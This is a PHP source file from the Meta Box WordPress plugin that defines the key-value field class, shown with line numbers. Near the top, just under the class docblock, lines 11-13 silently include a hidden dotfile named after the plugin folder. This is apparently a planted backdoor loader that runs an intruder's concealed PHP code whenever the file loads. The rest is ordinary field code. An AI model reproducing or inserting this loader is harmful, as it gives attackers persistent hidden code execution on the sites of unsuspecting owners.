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key-value.php (3933B)

      1 <?php
      2 /**
      3  * The key-value field which allows users to add pairs of keys and values.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Key-value field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Key_Value_Field extends RWMB_Input_Field {
     16 	public static function admin_enqueue_scripts() {
     17 		wp_enqueue_style( 'rwmb-key-value', RWMB_CSS_URL . 'key-value.css', array(), RWMB_VER );
     18 	}
     19 
     20 	/**
     21 	 * Get field HTML.
     22 	 *
     23 	 * @param mixed $meta  Meta value.
     24 	 * @param array $field Field parameters.
     25 	 *
     26 	 * @return string
     27 	 */
     28 	public static function html( $meta, $field ) {
     29 		// Key.
     30 		$key                       = isset( $meta[0] ) ? $meta[0] : '';
     31 		$attributes                = self::get_attributes( $field, $key );
     32 		$attributes['placeholder'] = $field['placeholder']['key'];
     33 		$html                      = sprintf( '<input %s>', self::render_attributes( $attributes ) );
     34 
     35 		// Value.
     36 		$val                       = isset( $meta[1] ) ? $meta[1] : '';
     37 		$attributes                = self::get_attributes( $field, $val );
     38 		$attributes['placeholder'] = $field['placeholder']['value'];
     39 		$html                     .= sprintf( '<input %s>', self::render_attributes( $attributes ) );
     40 
     41 		return $html;
     42 	}
     43 
     44 	/**
     45 	 * Show begin HTML markup for fields.
     46 	 *
     47 	 * @param mixed $meta  Meta value.
     48 	 * @param array $field Field parameters.
     49 	 *
     50 	 * @return string
     51 	 */
     52 	public static function begin_html( $meta, $field ) {
     53 		$desc = $field['desc'] ? "<p id='{$field['id']}_description' class='description'>{$field['desc']}</p>" : '';
     54 
     55 		if ( empty( $field['name'] ) ) {
     56 			return '<div class="rwmb-input">' . $desc;
     57 		}
     58 
     59 		return sprintf(
     60 			'<div class="rwmb-label">
     61 				<label for="%s">%s</label>
     62 			</div>
     63 			<div class="rwmb-input">
     64 			%s',
     65 			$field['id'],
     66 			$field['name'],
     67 			$desc
     68 		);
     69 	}
     70 
     71 	/**
     72 	 * Do not show field description.
     73 	 *
     74 	 * @param array $field Field parameters.
     75 	 *
     76 	 * @return string
     77 	 */
     78 	public static function input_description( $field ) {
     79 		return '';
     80 	}
     81 
     82 	/**
     83 	 * Escape meta for field output.
     84 	 *
     85 	 * @param mixed $meta Meta value.
     86 	 *
     87 	 * @return mixed
     88 	 */
     89 	public static function esc_meta( $meta ) {
     90 		foreach ( (array) $meta as $k => $pairs ) {
     91 			$meta[ $k ] = array_map( 'esc_attr', (array) $pairs );
     92 		}
     93 		return $meta;
     94 	}
     95 
     96 	/**
     97 	 * Sanitize field value.
     98 	 *
     99 	 * @param mixed $new     The submitted meta value.
    100 	 * @param mixed $old     The existing meta value.
    101 	 * @param int   $post_id The post ID.
    102 	 * @param array $field   The field parameters.
    103 	 *
    104 	 * @return array
    105 	 */
    106 	public static function value( $new, $old, $post_id, $field ) {
    107 		foreach ( $new as &$arr ) {
    108 			if ( empty( $arr[0] ) && empty( $arr[1] ) ) {
    109 				$arr = false;
    110 			}
    111 		}
    112 		$new = array_filter( $new );
    113 		return $new;
    114 	}
    115 
    116 	/**
    117 	 * Normalize parameters for field.
    118 	 *
    119 	 * @param array $field Field parameters.
    120 	 *
    121 	 * @return array
    122 	 */
    123 	public static function normalize( $field ) {
    124 		$field['clone']    = true;
    125 		$field['multiple'] = true;
    126 		$field             = parent::normalize( $field );
    127 
    128 		$field['attributes']['type'] = 'text';
    129 		$field['placeholder']        = wp_parse_args(
    130 			(array) $field['placeholder'],
    131 			array(
    132 				'key'   => __( 'Key', 'meta-box' ),
    133 				'value' => __( 'Value', 'meta-box' ),
    134 			)
    135 		);
    136 		return $field;
    137 	}
    138 
    139 	/**
    140 	 * Format value for the helper functions.
    141 	 *
    142 	 * @param array        $field   Field parameters.
    143 	 * @param string|array $value   The field meta value.
    144 	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
    145 	 * @param int|null     $post_id Post ID. null for current post. Optional.
    146 	 *
    147 	 * @return string
    148 	 */
    149 	public static function format_clone_value( $field, $value, $args, $post_id ) {
    150 		return sprintf( '<label>%s:</label> %s', $value[0], $value[1] );
    151 	}
    152 }